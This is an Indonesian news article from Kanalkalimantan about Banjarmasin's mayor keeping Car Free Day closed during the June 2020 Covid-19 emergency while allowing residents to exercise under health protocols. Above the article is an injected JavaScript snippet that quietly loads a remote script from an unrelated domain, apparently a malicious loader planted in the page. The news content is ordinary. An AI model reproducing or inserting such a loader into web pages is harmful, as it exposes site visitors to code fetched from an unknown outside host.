(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Banyak Warga Berolahraga di Siring Tendean dan Jalan Lambung Mangkurat, Wali Kota: Kita Tak Bisa Melarang


KANALKALIMANTAN.COM, BANJARMASIN – Kendati masih belum dibuka secara resmi tempat wisata, termasuk kegiatan Car Free Day (CFD) pada akhir pekan, warga kota tetap ramai berkunjungi ke bebrapa titik yang biasa dijadikan lokasi berolahraga.

Seperti pantauan Kanalkalimantan pada Minggu (28/6/2020) pagi, warga Kota Seribu Sungai terlihat memadati dua lokasi. Yakni kawasan jalan Lambung Mangkurat dan jalan Piere Tendean tepatnya di kawasan Siring Menara Pandang dan sekitarnya.

Menanggapi hal itu, Wali Kota Banjarmasin H Ibnu Sina menegaskan, sampai saat ini pihaknya masih belum mengizinkan dibukanya kegiatan Car Free Day di Banjarmasin. Keputusan tersebut diambil lantaran status Banjarmasin yang masih dalam masa tanggap darurat Covid-19.

“Belum ada memperlihatkan tanda-tanda terjadinya pelandaian, malah setiap hari selalu terjadi penambahan kasus terkonfirmasi positif,” kata Ibnu, Minggu (28/6/2020) pagi.

Warga berolahraga di kawasan Jalan Lambung Mangkurat Banjarmasin, Minggu (28/6/2020). foto: fikri

Sehingga, ia berharap agar warga dapat memahami kebijakan tersebut. Namun ia mengaku khawatir, pandemi Covid-19 ini nantinya tak bisa dikendalikan.

“Kami tidak ingin mengambil resiko jika terjadi kasus atau masalah yang baru,” katanya.

Kendati demikian, ia tidak mengungkiri dalam dua pekan terakhir salah satu kawasan objek wisata andalan Banjarmasin, yaitu Siring Menara Pandang dan sekitarnya ramai dikunjungi warga. Baik untuk bersantai bersama keluarga maupun untuk berolahraga. Sehingga tidak bisa ditutup secara menyeluruh.

“Kalau ada warga yang ingin berolahraga pagi, kita tidak bisa melarang, silahkan saja,” ujarnya.

Namun Ibnu melihat, kewajaran tersebut menurutnya harus dibarengi dengan penerapan protokol kesehatan. Sehingga Ibnu meminta kepada pengelola siring agar bisa melakukan penjagaan, terutama dalam hal penegakan disiplin protokol kesehatan.

“Paling tidak ada pengawasan terkait penerapan protokol kesehatan diantaranya seperti pengenaan masker. Kalau memang diperlukan untuk menambah menambah personel, kita siap saja menurunkan Satpol PP,” pungkasnya. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

DLH Banjarbaru Siapkan Antisipasi Sampah Jemaah Haul ke-20 Sekumpul

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru akan ikut… Read More

12 jam ago

Cara Transaksi Lancar Saat Libur Natal 2024 dengan Layanan BRI

KANALKALIMANTAN.COM - Menjelang liburan Natal 2024 dan Tahun Baru 2025 (Nataru), kebutuhan akan layanan perbankan… Read More

18 jam ago

Kakak Adik Edar Narkoba, 99 Gram Sabu dan Ekstasi Disita

KANALKALIMANTAN.COM, BANJARMASIN - Dua Ibu Rumah Tangga (IRT) dibekuk Satuan Reserse Narkoba (Satrenarkoba) Kepolisian Resor… Read More

19 jam ago

Ikhtiar Jaga Keandalan Listrik Nataru, PLN Doa Bersama Serentak se Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Menyambut Siaga Kelistrikan Natal 2024 dan Tahun Baru 2025, PT PLN (Persero)… Read More

20 jam ago

Wamen BUMN Cek Kesiapan SPKLU PLN Layani Kebutuhan Nataru

KANALKALIMANTAN.COM, CILEGON - Wakil Menteri Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan infrastruktur Stasiun… Read More

21 jam ago

Diduga Sakit, Jasad Satpam Didapati Tak Bernyawa di Depan Bapelkes

KANALKALIMANTAN.COM, BANJARBARU - Sesosok jasad lelaki tak bernyawa ditemukan tergeletak di pinggir jalan depan kantor… Read More

21 jam ago

This website uses cookies.